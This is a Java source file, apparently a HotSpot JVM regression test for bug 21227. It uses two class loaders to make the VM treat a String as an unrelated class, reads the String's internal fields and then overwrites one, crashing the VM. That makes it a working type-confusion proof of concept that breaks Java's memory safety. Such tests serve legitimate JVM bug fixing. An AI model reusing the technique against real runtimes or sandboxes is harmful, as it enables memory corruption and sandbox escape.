85 lines
3.1 KiB
Java
85 lines
3.1 KiB
Java
/*
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* Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
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* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
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*
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* This code is free software; you can redistribute it and/or modify it
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* under the terms of the GNU General Public License version 2 only, as
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* published by the Free Software Foundation.
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*
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* This code is distributed in the hope that it will be useful, but WITHOUT
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* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
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* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
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* version 2 for more details (a copy is included in the LICENSE file that
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* accompanied this code).
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*
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* You should have received a copy of the GNU General Public License version
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* 2 along with this work; if not, write to the Free Software Foundation,
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* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
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*
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* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
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* or visit www.oracle.com if you need additional information or have any
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* questions.
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*
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*/
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import java.lang.reflect.*;
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import java.security.*;
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abstract public class bug_21227 {
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// Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
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public static Object _p0wnee;
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public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
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System.out.println("Warmup");
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// Make a Class 'many_loader' under the default loader
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bug_21227 bug = new many_loader();
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// Some classes under a new Loader, LOADER2, including another version of 'many_loader'
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ClassLoader LOADER2 = new Loader2();
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Class clazz2 = LOADER2.loadClass("from_loader2");
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IFace iface = (IFace)clazz2.newInstance();
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// Set the victim, a String of length 6
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String s = "victim";
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_p0wnee = s;
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// Go cast '_p0wnee' to type You_Have_Been_P0wned
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many_loader[] x2 = bug.make(iface);
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many_loader b = x2[0];
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// Make it clear that the runtime type many_loader (what we get from the
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// array X2) varies from the static type of many_loader.
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Class cl1 = b.getClass();
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ClassLoader ld1 = cl1.getClassLoader();
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Class cl2 = many_loader.class;
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ClassLoader ld2 = cl2.getClassLoader();
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System.out.println("bug.make() "+ld1+":"+cl1);
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System.out.println("many_loader "+ld2+":"+cl2);
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// Read the victims guts out
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You_Have_Been_P0wned q = b._p0wnee;
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System.out.println("q._a = 0x"+Integer.toHexString(q._a));
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System.out.println("q._b = 0x"+Integer.toHexString(q._b));
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System.out.println("q._c = 0x"+Integer.toHexString(q._c));
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System.out.println("q._d = 0x"+Integer.toHexString(q._d));
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System.out.println("I will now crash the VM:");
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// On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
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//q._c = 3;
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q._a = -1;
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System.out.println(s);
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}
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// I need to compile (hence call in a loop) a function which returns a value
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// loaded from classloader other than the system one. The point of this
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// call is to give me an abstract 'hook' into a function loaded with a
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// foreign loader.
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public abstract many_loader[] make( IFace iface ); // abstract factory
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}
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